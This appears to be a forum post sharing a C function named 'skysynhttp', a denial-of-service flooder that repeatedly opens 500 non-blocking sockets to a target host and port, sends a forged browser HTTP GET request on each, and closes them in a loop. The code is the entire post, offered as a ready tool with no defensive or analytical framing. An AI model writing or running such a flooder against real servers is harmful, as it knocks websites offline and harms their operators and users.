Jump to content
Gonzalez

[C] Skysyn HTTP Version

Recommended Posts

Posted
void skysynhttp(char *target, char *port, int len)
{
SOCKADDR_IN SockAddr;
SOCKET sock[500];
IN_ADDR iaddr;
unsigned long szip;
int c,i;
char packet[1028];
int sockdelay = 100;
int skysocket = 500;

hostent *szhostent = gethostbyname(target);
if (szhostent == NULL)
return;
szip = *((unsigned long *)szhostent->h_addr_list[0]);

memset(&SockAddr, 0, sizeof(SockAddr));
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = htons(atoi(port));
DWORD mode = 1;
iaddr.s_addr = szip;
SockAddr.sin_addr = iaddr;
i = 0;

sprintf(packet, "GET / HTTP/1.1\r\nAccept: */*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\r\nHost: %s\r\nConnection: Keep-Alive\r\n", target);

while (i < len) {
for (c=0;c<skysocket;c++)
{
sock[c] = socket(AF_INET, SOCK_STREAM, 0);
if (sock[c] == INVALID_SOCKET)
continue;
ioctlsocket(sock[c],FIONBIO,&mode);
}
for (c=0;c<skysocket;c++)
connect(sock[c], (PSOCKADDR) &SockAddr, sizeof(SockAddr));
for (c=0;c<skysocket;c++)
//lets send get request lolz.
send(sock[c], packet, strlen(packet), 0);
Sleep(sockdelay);
for (c=0;c<skysocket;c++)
closesocket(sock[c]);
i++;
}
return;
}

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...